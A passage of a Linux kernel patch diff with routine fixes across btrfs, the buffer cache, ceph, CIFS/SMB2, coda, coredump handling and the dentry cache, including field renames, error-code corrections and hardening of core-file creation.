btrfs_extend_item(root, path, + size - old_data_len); + else if (size < old_data_len) + btrfs_truncate_item(root, path, data_size, 1); + } else { + /* There are other xattrs packed in the same item. */ + ret = btrfs_delete_one_dir_name(trans, root, path, di); + if (ret) + goto out; + btrfs_extend_item(root, path, data_size); + } + item = btrfs_item_nr(NULL, slot); + ptr = btrfs_item_ptr(leaf, slot, char); + ptr += btrfs_item_size(leaf, item) - data_size; + di = (struct btrfs_dir_item *)ptr; + btrfs_set_dir_data_len(leaf, di, size); + data_ptr = ((unsigned long)(di + 1)) + name_len; + write_extent_buffer(leaf, value, data_ptr, size); + btrfs_mark_buffer_dirty(leaf); + } else { /* - * We have a value to set, so go back and try to insert it now. + * Insert, and we had space for the xattr, so path->slots[0] is + * where our xattr dir_item is and btrfs_insert_xattr_item() + * filled it. */ - if (value) { - btrfs_release_path(path); - goto again; - } } out: btrfs_free_path(path); diff --git a/fs/buffer.c b/fs/buffer.c index e7abfeff66f77..5f0c18d21156e 100644 --- a/fs/buffer.c +++ b/fs/buffer.c @@ -1021,7 +1021,8 @@ grow_dev_page(struct block_device *bdev, sector_t block, bh = page_buffers(page); if (bh->b_size == size) { end_block = init_page_buffers(page, bdev, - index << sizebits, size); + (sector_t)index << sizebits, + size); goto done; } if (!try_to_free_buffers(page)) @@ -1042,7 +1043,8 @@ grow_dev_page(struct block_device *bdev, sector_t block, */ spin_lock(&inode->i_mapping->private_lock); link_dev_buffers(page, bh); - end_block = init_page_buffers(page, bdev, index << sizebits, size); + end_block = init_page_buffers(page, bdev, (sector_t)index << sizebits, + size); spin_unlock(&inode->i_mapping->private_lock); done: ret = (block < end_block) ? 1 : -ENXIO; @@ -2089,6 +2091,7 @@ int generic_write_end(struct file *file, struct address_space *mapping, struct page *page, void *fsdata) { struct inode *inode = mapping->host; + loff_t old_size = inode->i_size; int i_size_changed = 0; copied = block_write_end(file, mapping, pos, len, copied, page, fsdata); @@ -2108,6 +2111,8 @@ int generic_write_end(struct file *file, struct address_space *mapping, unlock_page(page); page_cache_release(page); + if (old_size < pos) + pagecache_isize_extended(inode, old_size, pos); /* * Don't mark the inode dirty under page lock. First, it unnecessarily * makes the holding time of page lock longer. Second, it forces lock @@ -2325,6 +2330,11 @@ static int cont_expand_zero(struct file *file, struct address_space *mapping, err = 0; balance_dirty_pages_ratelimited(mapping); + + if (unlikely(fatal_signal_pending(current))) { + err = -EINTR; + goto out; + } } /* page covers the boundary, find the boundary offset */ diff --git a/fs/ceph/dir.c b/fs/ceph/dir.c index f02d82b7933e4..ccb43298e272d 100644 --- a/fs/ceph/dir.c +++ b/fs/ceph/dir.c @@ -103,7 +103,7 @@ static unsigned fpos_off(loff_t p) /* * When possible, we try to satisfy a readdir by peeking at the * dcache. We make this work by carefully ordering dentries on - * d_u.d_child when we initially get results back from the MDS, and + * d_child when we initially get results back from the MDS, and * falling back to a "normal" sync readdir if any dentries in the dir * are dropped. * @@ -139,11 +139,11 @@ static int __dcache_readdir(struct file *filp, p = parent->d_subdirs.prev; dout(" initial p %p/%p\n", p->prev, p->next); } else { - p = last->d_u.d_child.prev; + p = last->d_child.prev; } more: - dentry = list_entry(p, struct dentry, d_u.d_child); + dentry = list_entry(p, struct dentry, d_child); di = ceph_dentry(dentry); while (1) { dout(" p %p/%p %s d_subdirs %p/%p\n", p->prev, p->next, @@ -165,7 +165,7 @@ static int __dcache_readdir(struct file *filp, !dentry->d_inode ? " null" : ""); spin_unlock(&dentry->d_lock); p = p->prev; - dentry = list_entry(p, struct dentry, d_u.d_child); + dentry = list_entry(p, struct dentry, d_child); di = ceph_dentry(dentry); } diff --git a/fs/ceph/inode.c b/fs/ceph/inode.c index be0f7e20d62ed..0cf23a7b88c2e 100644 --- a/fs/ceph/inode.c +++ b/fs/ceph/inode.c @@ -867,9 +867,9 @@ static void ceph_set_dentry_offset(struct dentry *dn) spin_lock(&dir->d_lock); spin_lock_nested(&dn->d_lock, DENTRY_D_LOCK_NESTED); - list_move(&dn->d_u.d_child, &dir->d_subdirs); + list_move(&dn->d_child, &dir->d_subdirs); dout("set_dentry_offset %p %lld (%p %p)\n", dn, di->offset, - dn->d_u.d_child.prev, dn->d_u.d_child.next); + dn->d_child.prev, dn->d_child.next); spin_unlock(&dn->d_lock); spin_unlock(&dir->d_lock); } @@ -1296,7 +1296,7 @@ int ceph_readdir_prepopulate(struct ceph_mds_request *req, /* reorder parent's d_subdirs */ spin_lock(&parent->d_lock); spin_lock_nested(&dn->d_lock, DENTRY_D_LOCK_NESTED); - list_move(&dn->d_u.d_child, &parent->d_subdirs); + list_move(&dn->d_child, &parent->d_subdirs); spin_unlock(&dn->d_lock); spin_unlock(&parent->d_lock); } diff --git a/fs/cifs/cifsencrypt.c b/fs/cifs/cifsencrypt.c index 5c807b23ca67e..182e82f22b3ab 100644 --- a/fs/cifs/cifsencrypt.c +++ b/fs/cifs/cifsencrypt.c @@ -591,7 +591,7 @@ setup_ntlmv2_rsp(struct cifs_ses *ses, const struct nls_table *nls_cp) ses->auth_key.response = kmalloc(baselen + tilen, GFP_KERNEL); if (!ses->auth_key.response) { - rc = ENOMEM; + rc = -ENOMEM; ses->auth_key.len = 0; goto setup_ntlmv2_rsp_ret; } diff --git a/fs/cifs/cifsglob.h b/fs/cifs/cifsglob.h index e2c2d96491fa8..f74dfa89c4c46 100644 --- a/fs/cifs/cifsglob.h +++ b/fs/cifs/cifsglob.h @@ -74,11 +74,6 @@ #define SERVER_NAME_LENGTH 40 #define SERVER_NAME_LEN_WITH_NULL (SERVER_NAME_LENGTH + 1) -/* used to define string lengths for reversing unicode strings */ -/* (256+1)*2 = 514 */ -/* (max path length + 1 for null) * 2 for unicode */ -#define MAX_NAME 514 - /* SMB echo "timeout" -- FIXME: tunable? */ #define SMB_ECHO_INTERVAL (60 * HZ) @@ -380,6 +375,8 @@ struct smb_version_operations { const char *, u32 *); int (*set_acl)(struct cifs_ntsd *, __u32, struct inode *, const char *, int); + /* check if we need to issue closedir */ + bool (*dir_needs_close)(struct cifsFileInfo *); }; struct smb_version_values { diff --git a/fs/cifs/cifssmb.c b/fs/cifs/cifssmb.c index d17c5d72cd294..4c86850bd6270 100644 --- a/fs/cifs/cifssmb.c +++ b/fs/cifs/cifssmb.c @@ -1389,11 +1389,10 @@ CIFSSMBOpen(const unsigned int xid, struct cifs_tcon *tcon, * current bigbuf. */ static int -cifs_readv_discard(struct TCP_Server_Info *server, struct mid_q_entry *mid) +discard_remaining_data(struct TCP_Server_Info *server) { unsigned int rfclen = get_rfc1002_length(server->smallbuf); int remaining = rfclen + 4 - server->total_read; - struct cifs_readdata *rdata = mid->callback_data; while (remaining > 0) { int length; @@ -1407,10 +1406,20 @@ cifs_readv_discard(struct TCP_Server_Info *server, struct mid_q_entry *mid) remaining -= length; } - dequeue_mid(mid, rdata->result); return 0; } +static int +cifs_readv_discard(struct TCP_Server_Info *server, struct mid_q_entry *mid) +{ + int length; + struct cifs_readdata *rdata = mid->callback_data; + + length = discard_remaining_data(server); + dequeue_mid(mid, rdata->result); + return length; +} + int cifs_readv_receive(struct TCP_Server_Info *server, struct mid_q_entry *mid) { @@ -1439,6 +1448,12 @@ cifs_readv_receive(struct TCP_Server_Info *server, struct mid_q_entry *mid) return length; server->total_read += length; + if (server->ops->is_status_pending && + server->ops->is_status_pending(buf, server, 0)) { + discard_remaining_data(server); + return -1; + } + /* Was the SMB read successful? */ rdata->result = server->ops->map_error(buf, false); if (rdata->result != 0) { diff --git a/fs/cifs/connect.c b/fs/cifs/connect.c index d05a30072023c..7c33afd7d5d3d 100644 --- a/fs/cifs/connect.c +++ b/fs/cifs/connect.c @@ -408,7 +408,9 @@ cifs_echo_request(struct work_struct *work) * server->ops->need_neg() == true. Also, no need to ping if * we got a response recently. */ - if (!server->ops->need_neg || server->ops->need_neg(server) || + + if (server->tcpStatus == CifsNeedReconnect || + server->tcpStatus == CifsExiting || server->tcpStatus == CifsNew || (server->ops->can_echo && !server->ops->can_echo(server)) || time_before(jiffies, server->lstrp + SMB_ECHO_INTERVAL - HZ)) goto requeue_echo; diff --git a/fs/cifs/dir.c b/fs/cifs/dir.c index 0c2425b21974a..a998c929286fc 100644 --- a/fs/cifs/dir.c +++ b/fs/cifs/dir.c @@ -227,6 +227,13 @@ cifs_do_create(struct inode *inode, struct dentry *direntry, unsigned int xid, goto cifs_create_get_file_info; } + if (S_ISDIR(newinode->i_mode)) { + CIFSSMBClose(xid, tcon, fid->netfid); + iput(newinode); + rc = -EISDIR; + goto out; + } + if (!S_ISREG(newinode->i_mode)) { /* * The server may allow us to open things like @@ -391,10 +398,14 @@ cifs_do_create(struct inode *inode, struct dentry *direntry, unsigned int xid, if (rc != 0) { cifs_dbg(FYI, "Create worked, get_inode_info failed rc = %d\n", rc); - if (server->ops->close) - server->ops->close(xid, tcon, fid); - goto out; + goto out_err; } + + if (S_ISDIR(newinode->i_mode)) { + rc = -EISDIR; + goto out_err; + } + d_drop(direntry); d_add(direntry, newinode); @@ -402,6 +413,13 @@ cifs_do_create(struct inode *inode, struct dentry *direntry, unsigned int xid, kfree(buf); kfree(full_path); return rc; + +out_err: + if (server->ops->close) + server->ops->close(xid, tcon, fid); + if (newinode) + iput(newinode); + goto out; } int diff --git a/fs/cifs/file.c b/fs/cifs/file.c index 8b0c656f2ab26..f4a8577c3e913 100644 --- a/fs/cifs/file.c +++ b/fs/cifs/file.c @@ -735,7 +735,7 @@ int cifs_closedir(struct inode *inode, struct file *file) cifs_dbg(FYI, "Freeing private data in close dir\n"); spin_lock(&cifs_file_list_lock); - if (!cfile->srch_inf.endOfSearch && !cfile->invalidHandle) { + if (server->ops->dir_needs_close(cfile)) { cfile->invalidHandle = true; spin_unlock(&cifs_file_list_lock); if (server->ops->close_dir) @@ -1789,6 +1789,7 @@ struct cifsFileInfo *find_writable_file(struct cifsInodeInfo *cifs_inode, cifsFileInfo_put(inv_file); spin_lock(&cifs_file_list_lock); ++refind; + inv_file = NULL; goto refind_writable; } } @@ -2809,7 +2810,7 @@ cifs_uncached_read_into_pages(struct TCP_Server_Info *server, total_read += result; } - return total_read > 0 ? total_read : result; + return total_read > 0 && result != -EAGAIN ? total_read : result; } static ssize_t @@ -3232,7 +3233,7 @@ cifs_readpages_read_into_pages(struct TCP_Server_Info *server, total_read += result; } - return total_read > 0 ? total_read : result; + return total_read > 0 && result != -EAGAIN ? total_read : result; } static int cifs_readpages(struct file *file, struct address_space *mapping, diff --git a/fs/cifs/inode.c b/fs/cifs/inode.c index 9d463501348f7..54304ccae7e7d 100644 --- a/fs/cifs/inode.c +++ b/fs/cifs/inode.c @@ -832,7 +832,7 @@ inode_has_hashed_dentries(struct inode *inode) struct dentry *dentry; spin_lock(&inode->i_lock); - hlist_for_each_entry(dentry, &inode->i_dentry, d_alias) { + hlist_for_each_entry(dentry, &inode->i_dentry, d_u.d_alias) { if (!d_unhashed(dentry) || IS_ROOT(dentry)) { spin_unlock(&inode->i_lock); return true; @@ -1640,13 +1640,22 @@ cifs_rename(struct inode *source_dir, struct dentry *source_dentry, unlink_target: /* Try unlinking the target dentry if it's not negative */ if (target_dentry->d_inode && (rc == -EACCES || rc == -EEXIST)) { - tmprc = cifs_unlink(target_dir, target_dentry); + if (S_ISDIR(target_dentry->d_inode->i_mode)) + tmprc = cifs_rmdir(target_dir, target_dentry); + else + tmprc = cifs_unlink(target_dir, target_dentry); if (tmprc) goto cifs_rename_exit; rc = cifs_do_rename(xid, source_dentry, from_name, target_dentry, to_name); } + /* force revalidate to go get info when needed */ + CIFS_I(source_dir)->time = CIFS_I(target_dir)->time = 0; + + source_dir->i_ctime = source_dir->i_mtime = target_dir->i_ctime = + target_dir->i_mtime = current_fs_time(source_dir->i_sb); + cifs_rename_exit: kfree(info_buf_source); kfree(from_name); diff --git a/fs/cifs/readdir.c b/fs/cifs/readdir.c index 036279c064ff4..85ebdaa210150 100644 --- a/fs/cifs/readdir.c +++ b/fs/cifs/readdir.c @@ -582,11 +582,11 @@ find_cifs_entry(const unsigned int xid, struct cifs_tcon *tcon, /* close and restart search */ cifs_dbg(FYI, "search backing up - close and restart search\n"); spin_lock(&cifs_file_list_lock); - if (!cfile->srch_inf.endOfSearch && !cfile->invalidHandle) { + if (server->ops->dir_needs_close(cfile)) { cfile->invalidHandle = true; spin_unlock(&cifs_file_list_lock); - if (server->ops->close) - server->ops->close(xid, tcon, &cfile->fid); + if (server->ops->close_dir) + server->ops->close_dir(xid, tcon, &cfile->fid); } else spin_unlock(&cifs_file_list_lock); if (cfile->srch_inf.ntwrk_buf_start) { diff --git a/fs/cifs/sess.c b/fs/cifs/sess.c index 8edc9eb1ef7bd..d65e16e9d1d97 100644 --- a/fs/cifs/sess.c +++ b/fs/cifs/sess.c @@ -487,19 +487,27 @@ int build_ntlmssp_auth_blob(unsigned char *pbuffer, sec_blob->LmChallengeResponse.MaximumLength = 0; sec_blob->NtChallengeResponse.BufferOffset = cpu_to_le32(tmp - pbuffer); - rc = setup_ntlmv2_rsp(ses, nls_cp); - if (rc) { - cifs_dbg(VFS, "Error %d during NTLMSSP authentication\n", rc); - goto setup_ntlmv2_ret; - } - memcpy(tmp, ses->auth_key.response + CIFS_SESS_KEY_SIZE, - ses->auth_key.len - CIFS_SESS_KEY_SIZE); - tmp += ses->auth_key.len - CIFS_SESS_KEY_SIZE; + if (ses->user_name != NULL) { + rc = setup_ntlmv2_rsp(ses, nls_cp); + if (rc) { + cifs_dbg(VFS, "Error %d during NTLMSSP authentication\n", rc); + goto setup_ntlmv2_ret; + } + memcpy(tmp, ses->auth_key.response + CIFS_SESS_KEY_SIZE, + ses->auth_key.len - CIFS_SESS_KEY_SIZE); + tmp += ses->auth_key.len - CIFS_SESS_KEY_SIZE; - sec_blob->NtChallengeResponse.Length = - cpu_to_le16(ses->auth_key.len - CIFS_SESS_KEY_SIZE); - sec_blob->NtChallengeResponse.MaximumLength = - cpu_to_le16(ses->auth_key.len - CIFS_SESS_KEY_SIZE); + sec_blob->NtChallengeResponse.Length = + cpu_to_le16(ses->auth_key.len - CIFS_SESS_KEY_SIZE); + sec_blob->NtChallengeResponse.MaximumLength = + cpu_to_le16(ses->auth_key.len - CIFS_SESS_KEY_SIZE); + } else { + /* + * don't send an NT Response for anonymous access + */ + sec_blob->NtChallengeResponse.Length = 0; + sec_blob->NtChallengeResponse.MaximumLength = 0; + } if (ses->domainName == NULL) { sec_blob->DomainName.BufferOffset = cpu_to_le32(tmp - pbuffer); diff --git a/fs/cifs/smb1ops.c b/fs/cifs/smb1ops.c index 4885a40f3210e..610c6c24d41d2 100644 --- a/fs/cifs/smb1ops.c +++ b/fs/cifs/smb1ops.c @@ -885,6 +885,12 @@ cifs_mand_lock(const unsigned int xid, struct cifsFileInfo *cfile, __u64 offset, (__u8)type, wait, 0); } +static bool +cifs_dir_needs_close(struct cifsFileInfo *cfile) +{ + return !cfile->srch_inf.endOfSearch && !cfile->invalidHandle; +} + struct smb_version_operations smb1_operations = { .send_cancel = send_nt_cancel, .compare_fids = cifs_compare_fids, @@ -948,6 +954,7 @@ struct smb_version_operations smb1_operations = { .mand_lock = cifs_mand_lock, .mand_unlock_range = cifs_unlock_range, .push_mand_locks = cifs_push_mandatory_locks, + .dir_needs_close = cifs_dir_needs_close, #ifdef CONFIG_CIFS_XATTR .query_all_EAs = CIFSSMBQAllEAs, .set_EA = CIFSSMBSetEA, diff --git a/fs/cifs/smb2file.c b/fs/cifs/smb2file.c index 5da1b55a22581..d801f63cddd03 100644 --- a/fs/cifs/smb2file.c +++ b/fs/cifs/smb2file.c @@ -73,7 +73,7 @@ smb2_open_file(const unsigned int xid, struct cifs_tcon *tcon, const char *path, goto out; } - smb2_data = kzalloc(sizeof(struct smb2_file_all_info) + MAX_NAME * 2, + smb2_data = kzalloc(sizeof(struct smb2_file_all_info) + PATH_MAX * 2, GFP_KERNEL); if (smb2_data == NULL) { rc = -ENOMEM; diff --git a/fs/cifs/smb2inode.c b/fs/cifs/smb2inode.c index fff6dfba6204d..6d535797ec764 100644 --- a/fs/cifs/smb2inode.c +++ b/fs/cifs/smb2inode.c @@ -123,7 +123,7 @@ smb2_query_path_info(const unsigned int xid, struct cifs_tcon *tcon, *adjust_tz = false; - smb2_data = kzalloc(sizeof(struct smb2_file_all_info) + MAX_NAME * 2, + smb2_data = kzalloc(sizeof(struct smb2_file_all_info) + PATH_MAX * 2, GFP_KERNEL); if (smb2_data == NULL) return -ENOMEM; diff --git a/fs/cifs/smb2maperror.c b/fs/cifs/smb2maperror.c index 7c2f45c06fc21..4768cf8be6e2b 100644 --- a/fs/cifs/smb2maperror.c +++ b/fs/cifs/smb2maperror.c @@ -214,7 +214,7 @@ static const struct status_to_posix_error smb2_error_map_table[] = { {STATUS_BREAKPOINT, -EIO, "STATUS_BREAKPOINT"}, {STATUS_SINGLE_STEP, -EIO, "STATUS_SINGLE_STEP"}, {STATUS_BUFFER_OVERFLOW, -EIO, "STATUS_BUFFER_OVERFLOW"}, - {STATUS_NO_MORE_FILES, -EIO, "STATUS_NO_MORE_FILES"}, + {STATUS_NO_MORE_FILES, -ENODATA, "STATUS_NO_MORE_FILES"}, {STATUS_WAKE_SYSTEM_DEBUGGER, -EIO, "STATUS_WAKE_SYSTEM_DEBUGGER"}, {STATUS_HANDLES_CLOSED, -EIO, "STATUS_HANDLES_CLOSED"}, {STATUS_NO_INHERITANCE, -EIO, "STATUS_NO_INHERITANCE"}, @@ -605,7 +605,7 @@ static const struct status_to_posix_error smb2_error_map_table[] = { {STATUS_MAPPED_FILE_SIZE_ZERO, -EIO, "STATUS_MAPPED_FILE_SIZE_ZERO"}, {STATUS_TOO_MANY_OPENED_FILES, -EMFILE, "STATUS_TOO_MANY_OPENED_FILES"}, {STATUS_CANCELLED, -EIO, "STATUS_CANCELLED"}, - {STATUS_CANNOT_DELETE, -EIO, "STATUS_CANNOT_DELETE"}, + {STATUS_CANNOT_DELETE, -EACCES, "STATUS_CANNOT_DELETE"}, {STATUS_INVALID_COMPUTER_NAME, -EIO, "STATUS_INVALID_COMPUTER_NAME"}, {STATUS_FILE_DELETED, -EIO, "STATUS_FILE_DELETED"}, {STATUS_SPECIAL_ACCOUNT, -EIO, "STATUS_SPECIAL_ACCOUNT"}, diff --git a/fs/cifs/smb2ops.c b/fs/cifs/smb2ops.c index e2756bb40b4db..66202da4c9614 100644 --- a/fs/cifs/smb2ops.c +++ b/fs/cifs/smb2ops.c @@ -48,9 +48,13 @@ change_conf(struct TCP_Server_Info *server) break; default: server->echoes = true; - server->oplocks = true; + if (enable_oplocks) { + server->oplocks = true; + server->oplock_credits = 1; + } else + server->oplocks = false; + server->echo_credits = 1; - server->oplock_credits = 1; } server->credits -= server->echo_credits + server->oplock_credits; return 0; @@ -243,7 +247,7 @@ smb2_query_file_info(const unsigned int xid, struct cifs_tcon *tcon, int rc; struct smb2_file_all_info *smb2_data; - smb2_data = kzalloc(sizeof(struct smb2_file_all_info) + MAX_NAME * 2, + smb2_data = kzalloc(sizeof(struct smb2_file_all_info) + PATH_MAX * 2, GFP_KERNEL); if (smb2_data == NULL) return -ENOMEM; @@ -554,6 +558,12 @@ smb2_new_lease_key(struct cifs_fid *fid) get_random_bytes(fid->lease_key, SMB2_LEASE_KEY_SIZE); } +static bool +smb2_dir_needs_close(struct cifsFileInfo *cfile) +{ + return !cfile->invalidHandle; +} + struct smb_version_operations smb21_operations = { .compare_fids = smb2_compare_fids, .setup_request = smb2_setup_request, @@ -618,6 +628,7 @@ struct smb_version_operations smb21_operations = { .set_lease_key = smb2_set_lease_key, .new_lease_key = smb2_new_lease_key, .calc_signature = smb2_calc_signature, + .dir_needs_close = smb2_dir_needs_close, }; @@ -685,6 +696,7 @@ struct smb_version_operations smb30_operations = { .set_lease_key = smb2_set_lease_key, .new_lease_key = smb2_new_lease_key, .calc_signature = smb3_calc_signature, + .dir_needs_close = smb2_dir_needs_close, }; struct smb_version_values smb20_values = { diff --git a/fs/cifs/smb2pdu.c b/fs/cifs/smb2pdu.c index c7a6fd87bb6eb..9dd8c968d94ed 100644 --- a/fs/cifs/smb2pdu.c +++ b/fs/cifs/smb2pdu.c @@ -809,7 +809,8 @@ SMB2_tcon(const unsigned int xid, struct cifs_ses *ses, const char *tree, tcon_error_exit: if (rsp->hdr.Status == STATUS_BAD_NETWORK_NAME) { cifs_dbg(VFS, "BAD_NETWORK_NAME: %s\n", tree); - tcon->bad_network_name = true; + if (tcon) + tcon->bad_network_name = true; } goto tcon_exit; } @@ -1203,7 +1204,7 @@ SMB2_query_info(const unsigned int xid, struct cifs_tcon *tcon, { return query_info(xid, tcon, persistent_fid, volatile_fid, FILE_ALL_INFORMATION, - sizeof(struct smb2_file_all_info) + MAX_NAME * 2, + sizeof(struct smb2_file_all_info) + PATH_MAX * 2, sizeof(struct smb2_file_all_info), data); } @@ -1249,6 +1250,33 @@ SMB2_echo(struct TCP_Server_Info *server) cifs_dbg(FYI, "In echo request\n"); + if (server->tcpStatus == CifsNeedNegotiate) { + struct list_head *tmp, *tmp2; + struct cifs_ses *ses; + struct cifs_tcon *tcon; + + cifs_dbg(FYI, "Need negotiate, reconnecting tcons\n"); + spin_lock(&cifs_tcp_ses_lock); + list_for_each(tmp, &server->smb_ses_list) { + ses = list_entry(tmp, struct cifs_ses, smb_ses_list); + list_for_each(tmp2, &ses->tcon_list) { + tcon = list_entry(tmp2, struct cifs_tcon, + tcon_list); + /* add check for persistent handle reconnect */ + if (tcon && tcon->need_reconnect) { + spin_unlock(&cifs_tcp_ses_lock); + rc = smb2_reconnect(SMB2_ECHO, tcon); + spin_lock(&cifs_tcp_ses_lock); + } + } + } + spin_unlock(&cifs_tcp_ses_lock); + } + + /* if no session, renegotiate failed above */ + if (server->tcpStatus == CifsNeedNegotiate) + return -EIO; + rc = small_smb2_init(SMB2_ECHO, NULL, (void **)&req); if (rc) return rc; @@ -1799,6 +1827,10 @@ SMB2_query_directory(const unsigned int xid, struct cifs_tcon *tcon, rsp = (struct smb2_query_directory_rsp *)iov[0].iov_base; if (rc) { + if (rc == -ENODATA && rsp->hdr.Status == STATUS_NO_MORE_FILES) { + srch_inf->endOfSearch = true; + rc = 0; + } cifs_stats_fail_inc(tcon, SMB2_QUERY_DIRECTORY_HE); goto qdir_exit; } @@ -1836,11 +1868,6 @@ SMB2_query_directory(const unsigned int xid, struct cifs_tcon *tcon, else cifs_dbg(VFS, "illegal search buffer type\n"); - if (rsp->hdr.Status == STATUS_NO_MORE_FILES) - srch_inf->endOfSearch = 1; - else - srch_inf->endOfSearch = 0; - return rc; qdir_exit: diff --git a/fs/coda/cache.c b/fs/coda/cache.c index 1da168c61d35c..9bc1147a6c5d4 100644 --- a/fs/coda/cache.c +++ b/fs/coda/cache.c @@ -92,7 +92,7 @@ static void coda_flag_children(struct dentry *parent, int flag) struct dentry *de; spin_lock(&parent->d_lock); - list_for_each_entry(de, &parent->d_subdirs, d_u.d_child) { + list_for_each_entry(de, &parent->d_subdirs, d_child) { /* don't know what to do with negative dentries */ if (de->d_inode ) coda_flag_inode(de->d_inode, flag); diff --git a/fs/coredump.c b/fs/coredump.c index dafafbafa7313..4f03b2b503756 100644 --- a/fs/coredump.c +++ b/fs/coredump.c @@ -299,7 +299,7 @@ static int zap_threads(struct task_struct *tsk, struct mm_struct *mm, if (unlikely(nr < 0)) return nr; - tsk->flags = PF_DUMPCORE; + tsk->flags |= PF_DUMPCORE; if (atomic_read(&mm->mm_users) == nr + 1) goto done; /* @@ -491,10 +491,10 @@ void do_coredump(siginfo_t *siginfo) const struct cred *old_cred; struct cred *cred; int retval = 0; - int flag = 0; int ispipe; struct files_struct *displaced; - bool need_nonrelative = false; + /* require nonrelative corefile path and be extra careful */ + bool need_suid_safe = false; bool core_dumped = false; static atomic_t core_dump_count = ATOMIC_INIT(0); struct coredump_params cprm = { @@ -528,9 +528,8 @@ void do_coredump(siginfo_t *siginfo) */ if (__get_dumpable(cprm.mm_flags) == SUID_DUMP_ROOT) { /* Setuid core dump mode */ - flag = O_EXCL; /* Stop rewrite attacks */ cred->fsuid = GLOBAL_ROOT_UID; /* Dump root private */ - need_nonrelative = true; + need_suid_safe = true; } retval = coredump_wait(siginfo->si_signo, &core_state); @@ -611,7 +610,7 @@ void do_coredump(siginfo_t *siginfo) if (cprm.limit < binfmt->min_coredump) goto fail_unlock; - if (need_nonrelative && cn.corename[0] != '/') { + if (need_suid_safe && cn.corename[0] != '/') { printk(KERN_WARNING "Pid %d(%s) can only dump core "\ "to fully qualified path!\n", task_tgid_vnr(current), current->comm); @@ -619,8 +618,35 @@ void do_coredump(siginfo_t *siginfo) goto fail_unlock; } + /* + * Unlink the file if it exists unless this is a SUID + * binary - in that case, we're running around with root + * privs and don't want to unlink another user's coredump. + */ + if (!need_suid_safe) { + mm_segment_t old_fs; + + old_fs = get_fs(); + set_fs(KERNEL_DS); + /* + * If it doesn't exist, that's fine. If there's some + * other problem, we'll catch it at the filp_open(). + */ + (void) sys_unlink((const char __user *)cn.corename); + set_fs(old_fs); + } + + /* + * There is a race between unlinking and creating the + * file, but if that causes an EEXIST here, that's + * fine - another process raced with us while creating + * the corefile, and the other process won. To userspace, + * what matters is that at least one of the two processes + * writes its coredump successfully, not which one. + */ cprm.file = filp_open(cn.corename, - O_CREAT | 2 | O_NOFOLLOW | O_LARGEFILE | flag, + O_CREAT | 2 | O_NOFOLLOW | + O_LARGEFILE | O_EXCL, 0600); if (IS_ERR(cprm.file)) goto fail_unlock; diff --git a/fs/dcache.c b/fs/dcache.c index 9a59653d34497..2d0b9d2f3c432 100644 --- a/fs/dcache.c +++ b/fs/dcache.c @@ -43,7 +43,7 @@ /* * Usage: * dcache->d_inode->i_lock protects: - * - i_dentry, d_alias, d_inode of aliases + * - i_dentry, d_u.d_alias, d_inode of aliases * dcache_hash_bucket lock protects: * - the dcache hash table * s_anon bl list spinlock protects: @@ -58,7 +58,7 @@ * - d_unhashed() * - d_parent and d_subdirs * - childrens' d_child and d_parent - * - d_alias, d_inode + * - d_u.d_alias, d_inode * * Ordering: * dentry->d_inode->i_lock @@ -96,8 +96,6 @@ static struct kmem_cache *dentry_cache __read_mostly; * This hash-function tries to avoid losing too many bits of hash * information, yet avoid using a prime hash-size or similar. */ -#define D_HASHBITS d_hash_shift -#define D_HASHMASK d_hash_mask static unsigned int d_hash_mask __read_mostly; static unsigned int d_hash_shift __read_mostly; @@ -108,8 +106,7 @@ static inline struct hlist_bl_head *d_hash(const struct dentry *parent, unsigned int hash) { hash += (unsigned long) parent / L1_CACHE_BYTES; - hash = hash + (hash >> D_HASHBITS); - return dentry_hashtable + (hash & D_HASHMASK); + return dentry_hashtable + hash_32(hash, d_hash_shift); } /* Statistics gathering. */ @@ -218,7 +215,6 @@ static void __d_free(struct rcu_head *head) { struct dentry *dentry = container_of(head, struct dentry, d_u.d_rcu); - WARN_ON(!hlist_unhashed(&dentry->d_alias)); if (dname_external(dentry)) kfree(dentry->d_name.name); kmem_cache_free(dentry_cache, dentry); @@ -229,6 +225,7 @@ static void __d_free(struct rcu_head *head) */ static void d_free(struct dentry *dentry) { + WARN_ON(!hlist_unhashed(&dentry->d_u.d_alias)); BUG_ON(dentry->d_count); this_cpu_dec(nr_dentry); if (dentry->d_op && dentry->d_op->d_release) @@ -267,7 +264,7 @@ static void dentry_iput(struct dentry * dentry) struct inode *inode = dentry->d_inode; if (inode) { dentry->d_inode = NULL; - hlist_del_init(&dentry->d_alias); + hlist_del_init(&dentry->d_u.d_alias); spin_unlock(&dentry->d_lock); spin_unlock(&inode->i_lock); if (!inode->i_nlink) @@ -291,7 +288,7 @@ static void dentry_unlink_inode(struct dentry * dentry) { struct inode *inode = dentry->d_inode; dentry->d_inode = NULL; - hlist_del_init(&dentry->d_alias); + hlist_del_init(&dentry->d_u.d_alias); dentry_rcuwalk_barrier(dentry); spin_unlock(&dentry->d_lock); spin_unlock(&inode->i_lock); @@ -367,9 +364,9 @@ static struct dentry *d_kill(struct dentry *dentry, struct dentry *parent) __releases(parent->d_lock) __releases(dentry->d_inode->i_lock) { - list_del(&dentry->d_u.d_child); + __list_del_entry(&dentry->d_child); /* - * Inform try_to_ascend() that we are no longer attached to the + * Inform ascending readers that we are no longer attached to the * dentry tree */ dentry->d_flags |= DCACHE_DENTRY_KILLED; @@ -523,6 +520,9 @@ void dput(struct dentry *dentry) return; } + if (unlikely(dentry->d_flags & DCACHE_DISCONNECTED)) + goto kill_it; + if (dentry->d_flags & DCACHE_OP_DELETE) { if (dentry->d_op->d_delete(dentry)) goto kill_it; @@ -663,7 +663,7 @@ static struct dentry *__d_find_alias(struct inode *inode, int want_discon) again: discon_alias = NULL; - hlist_for_each_entry(alias, &inode->i_dentry, d_alias) { + hlist_for_each_entry(alias, &inode->i_dentry, d_u.d_alias) { spin_lock(&alias->d_lock); if (S_ISDIR(inode->i_mode) || !d_unhashed(alias)) { if (IS_ROOT(alias) && @@ -716,7 +716,7 @@ void d_prune_aliases(struct inode *inode) struct dentry *dentry; restart: spin_lock(&inode->i_lock); - hlist_for_each_entry(dentry, &inode->i_dentry, d_alias) { + hlist_for_each_entry(dentry, &inode->i_dentry, d_u.d_alias) { spin_lock(&dentry->d_lock); if (!dentry->d_count) { __dget_dlock(dentry); @@ -896,7 +896,7 @@ static void shrink_dcache_for_umount_subtree(struct dentry *dentry) /* descend to the first leaf in the current subtree */ while (!list_empty(&dentry->d_subdirs)) dentry = list_entry(dentry->d_subdirs.next, - struct dentry, d_u.d_child); + struct dentry, d_child); /* consume the dentries from this leaf up through its parents * until we find one with children or run out altogether */ @@ -930,17 +930,17 @@ static void shrink_dcache_for_umount_subtree(struct dentry *dentry) if (IS_ROOT(dentry)) { parent = NULL; - 